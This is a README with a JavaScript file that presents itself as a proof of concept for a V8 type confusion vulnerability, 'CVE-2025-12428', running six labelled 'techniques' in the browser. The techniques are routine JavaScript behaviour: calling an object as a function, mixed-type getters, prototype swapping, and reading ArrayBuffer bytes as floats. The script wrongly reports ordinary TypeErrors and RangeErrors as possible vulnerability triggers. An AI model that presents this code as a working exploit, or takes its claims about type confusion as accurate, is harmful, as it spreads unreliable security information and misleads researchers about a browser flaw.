README.md
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/**
* CVE-2025-12428 - V8 Type Confusion Proof of Concept
*
* WARNING: This is for educational and security research purposes only.
* Only use on systems you own or have explicit permission to test.
*
* This PoC demonstrates type confusion techniques that may trigger
* CVE-2025-12428 in vulnerable V8 engine versions.
*/
(function() {
'use strict';
console.log('[+] CVE-2025-12428 PoC - V8 Type Confusion');
console.log('[+] Browser:', navigator.userAgent);
console.log('');
/**
* Technique 1: Property Accessor Type Confusion
* Attempts to confuse V8 by switching object types during property access
*/
function technique1_PropertyAccessorConfusion() {
console.log('[1] Testing Property Accessor Type Confusion...');
let obj = {};
let arr = [1, 2, 3, 4, 5];
// Create a polymorphic variable
let polymorphic = arr;
// Warm up JIT compiler with array access
for (let i = 0; i < 10000; i++) {
polymorphic.length;
if (i % 2 === 0) {
polymorphic = arr;
} else {
polymorphic = obj; // Switch to object
}
}
// Now access length on object (potential type confusion)
try {
let length = polymorphic.length;
console.log(` [*] Accessed length: ${length}`);
if (typeof length !== 'undefined' && typeof length !== 'number') {
console.log(' [!] Potential type confusion detected!');
}
} catch (e) {
console.log(` [X] Error: ${e.message}`);
}
}
/**
* Technique 2: Array-to-Object Type Transition
* Forces type transitions that might confuse the optimizer
*/
function technique2_ArrayObjectTransition() {
console.log('[2] Testing Array-to-Object Type Transition...');
function createPolymorphic() {
if (Math.random() > 0.5) {
return [1, 2, 3];
}
return {0: 1, 1: 2, 2: 3};
}
// Optimize with arrays
for (let i = 0; i < 5000; i++) {
let x = createPolymorphic();
if (Array.isArray(x)) {
x.length;
}
}
// Now try with object
try {
let result = createPolymorphic();
// Access length as if it's an array
let length = result.length;
console.log(` [*] Length access result: ${length}`);
} catch (e) {
console.log(` [X] Exception: ${e.message}`);
}
}
/**
* Technique 3: Function Call Type Confusion
* Attempts to call non-function objects
*/
function technique3_FunctionTypeConfusion() {
console.log('[3] Testing Function Call Type Confusion...');
function polymorphicCall(callable) {
return callable();
}
let func = () => 42;
let obj = {value: 100};
// Optimize with function calls
for (let i = 0; i < 5000; i++) {
polymorphicCall(func);
}
// Try calling object as function
try {
let result = polymorphicCall(obj);
console.log(` [!] Unexpected call result: ${result}`);
console.log(' [!] Potential type confusion!');
} catch (e) {
console.log(` [*] Expected error: ${e.name}`);
}
}
/**
* Technique 4: Property Descriptor Type Confusion
* Uses property descriptors to create type ambiguity
*/
function technique4_PropertyDescriptorConfusion() {
console.log('[4] Testing Property Descriptor Type Confusion...');
let obj = {};
let arr = [10, 20, 30];
// Define a getter that returns different types
Object.defineProperty(obj, 'length', {
get: function() {
// Randomly return array length or string
return Math.random() > 0.5 ? arr.length : 'not a number';
},
configurable: true,
enumerable: true
});
try {
let length = obj.length;
console.log(` [*] Length value: ${length}, type: ${typeof length}`);
// If length is a number, try array operations
if (typeof length === 'number') {
// This might confuse V8 into treating obj as array
console.log(' [*] Attempting array-like operations...');
}
} catch (e) {
console.log(` [X] Error: ${e.message}`);
}
}
/**
* Technique 5: Prototype Chain Manipulation
* Manipulates prototype chains to create type confusion
*/
function technique5_PrototypeConfusion() {
console.log('[5] Testing Prototype Chain Manipulation...');
// Create object with Array prototype
let fakeArray = {};
Object.setPrototypeOf(fakeArray, Array.prototype);
// Try to use array methods
try {
fakeArray.push(1, 2, 3);
console.log(` [*] Push successful, length: ${fakeArray.length}`);
// Access as array
let first = fakeArray[0];
console.log(` [*] First element: ${first}`);
} catch (e) {
console.log(` [X] Error: ${e.message}`);
}
}
/**
* Technique 6: TypedArray Type Confusion
* Attempts to confuse typed array handling
*/
function technique6_TypedArrayConfusion() {
console.log('[6] Testing TypedArray Type Confusion...');
let buffer = new ArrayBuffer(16);
let view1 = new Uint8Array(buffer);
let view2 = new Float64Array(buffer);
// Write with one type
view1[0] = 0x41; // 'A'
view1[1] = 0x42; // 'B'
// Read with different type (potential confusion)
try {
let floatValue = view2[0];
console.log(` [*] Float64 value: ${floatValue}`);
console.log(` [*] Raw bytes interpreted as float`);
} catch (e) {
console.log(` [X] Error: ${e.message}`);
}
}
/**
* Main execution function
*/
function runPoC() {
console.log('[+] Starting CVE-2025-12428 Proof of Concept...\n');
try {
technique1_PropertyAccessorConfusion();
console.log('');
technique2_ArrayObjectTransition();
console.log('');
technique3_FunctionTypeConfusion();
console.log('');
technique4_PropertyDescriptorConfusion();
console.log('');
technique5_PrototypeConfusion();
console.log('');
technique6_TypedArrayConfusion();
console.log('');
console.log('[+] PoC execution complete.');
console.log('[!] Monitor for:');
console.log(' - Browser crashes');
console.log(' - Memory corruption errors');
console.log(' - Unexpected type coercion');
console.log(' - Invalid memory access');
} catch (e) {
console.error('[X] Fatal error:', e.message);
console.error('[X] Stack:', e.stack);
// Check for crash indicators
if (e.message.includes('memory') ||
e.message.includes('corruption') ||
e.name === 'RangeError' ||
e.name === 'TypeError') {
console.error('[!] Possible vulnerability trigger detected!');
}
}
}
// Export for use in HTML or Node.js
if (typeof module !== 'undefined' && module.exports) {
module.exports = { runPoC };
} else if (typeof window !== 'undefined') {
window.runCVEPoC = runPoC;
} else {
// Run automatically in standalone context
runPoC();
}
})();